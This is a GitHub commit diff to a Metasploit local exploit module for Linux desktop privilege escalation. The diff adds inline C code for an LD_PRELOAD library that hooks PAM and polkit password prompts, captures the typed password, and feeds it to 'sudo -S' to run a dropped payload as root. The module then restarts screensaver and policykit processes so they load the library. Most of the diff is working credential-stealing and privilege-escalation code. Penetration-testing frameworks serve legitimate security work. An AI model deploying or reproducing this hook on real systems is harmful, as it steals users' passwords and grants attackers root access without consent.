Skip to content

Commit 3e57ac8

Browse files
committed
Converted LD_PRELOAD library from precompiled binary to metasm code.
1 parent 052327b commit 3e57ac8

File tree

1 file changed

+76
-5
lines changed

1 file changed

+76
-5
lines changed

modules/exploits/linux/local/desktop_privilege_escalation.rb

Lines changed: 76 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@
77
require 'rex'
88
require 'msf/core/exploit/exe'
99
require 'base64'
10+
require 'metasm'
1011

1112
class Metasploit4 < Msf::Exploit::Local
1213
Rank = ExcellentRanking
@@ -63,7 +64,7 @@ def get_restart_commands
6364
if m
6465
pid = m[1]
6566
vprint_status("PID=#{pid}")
66-
print_status("EXE_LINE:" + lines[i+1])
67+
print_status("Found process: " + lines[i+1])
6768
exe = lines[i+1].match(/^EXE:(\S+)$/)[1]
6869
vprint_status("exe=#{exe}")
6970
cmdline = [lines[i+2].match(/^cmdline:(\w+)$/)[1]].pack("H*").split("\x00")
@@ -84,13 +85,83 @@ def exploit
8485
write_file(exe_file, generate_payload_exe())
8586
cmd_exec "chmod +x #{exe_file}"
8687
lib_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.so"
88+
c = %Q|
89+
// A few constants/function definitions/structs copied from header files
90+
#define RTLD_NEXT ((void *) -1l)
91+
extern uintptr_t dlsym(uintptr_t, char*);
92+
// Define some structs to void so that we can ignore all dependencies from these structs
93+
#define FILE void
94+
#define pam_handle_t void
95+
extern FILE *popen(const char *command, const char *type);
96+
extern int pclose(FILE *stream);
97+
extern int fprintf(FILE *stream, const char *format, ...);
98+
extern char *strstr(const char *haystack, const char *needle);
99+
extern void *malloc(unsigned int size);
100+
101+
struct pam_message {
102+
int msg_style;
103+
const char *msg;
104+
};
105+
struct pam_response {
106+
char *resp;
107+
int resp_retcode;
108+
};
109+
struct pam_conv {
110+
int (*conv)(int num_msg, const struct pam_message **msg,
111+
struct pam_response **resp, void *appdata_ptr);
112+
void *appdata_ptr;
113+
};
114+
115+
void run_sudo(char* password){
116+
FILE* sudo = popen("sudo -S #{exe_file}","w");
117+
fprintf(sudo,"%s\\n",password);
118+
pclose(sudo);
119+
}
120+
121+
int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr){
122+
struct pam_conv *orig_pam_conversation = (struct pam_conv *)appdata_ptr;
123+
int i;
124+
int passwd_index = -1;
125+
for(i=0;i<num_msg;i++){
126+
if(strstr(msg[i]->msg,"Password") >= 0){
127+
passwd_index = i;
128+
}
129+
}
130+
int result = orig_pam_conversation->conv(num_msg,msg,resp,orig_pam_conversation->appdata_ptr);
131+
if(passwd_index >= 0){
132+
run_sudo(resp[passwd_index]->resp);
133+
}
134+
return result;
135+
}
136+
137+
int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh) __attribute__((export)){
138+
static int (*orig_pam_start)(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh);
139+
if(!orig_pam_start){
140+
orig_pam_start = dlsym(RTLD_NEXT,"pam_start");
141+
}
142+
struct pam_conv *my_pam_conversation = malloc(sizeof(struct pam_conv));
143+
my_pam_conversation->conv = &my_conv;
144+
my_pam_conversation->appdata_ptr = (struct pam_conv *)pam_conversation;
145+
return orig_pam_start(service_name, user, my_pam_conversation, pamh);
146+
}
147+
148+
void polkit_agent_session_response (void *session, char *response) __attribute__((export)){
149+
static void *(*orig_polkit_agent_session_response)(void *session, char* response);
150+
if(!orig_polkit_agent_session_response){
151+
orig_polkit_agent_session_response = dlsym(RTLD_NEXT,"polkit_agent_session_response");
152+
}
153+
run_sudo(response);
154+
orig_polkit_agent_session_response(session,response);
155+
return;
156+
}
157+
|
158+
cpu = nil
87159
if target['Arch'] == ARCH_X86
88-
lib_path = File.join( Msf::Config.data_directory, "exploits","desktop_linux_privilege_escalation/passwd_stealer_preload32.so")
160+
cpu = Metasm::Ia32.new
89161
elsif target['Arch'] == ARCH_X86_64
90-
lib_path = File.join( Msf::Config.data_directory, "exploits","desktop_linux_privilege_escalation/passwd_stealer_preload64.so")
162+
cpu = Metasm::X86_64.new
91163
end
92-
lib_data = File.read(lib_path)
93-
lib_data["COMMAND_PLACEHOLDER_HERE____________________________________________________________________________________________________"] = exe_file + (" " * ("COMMAND_PLACEHOLDER_HERE____________________________________________________________________________________________________".length-exe_file.length))
164+
lib_data = Metasm::ELF.compile_c(cpu, c).encode_string(:lib)
94165
print_status("Writing lib file to '#{lib_file}'")
95166
write_file(lib_file,lib_data)
96167
print_status("Restarting processes (screensaver/policykit)")

0 commit comments

Comments
 (0)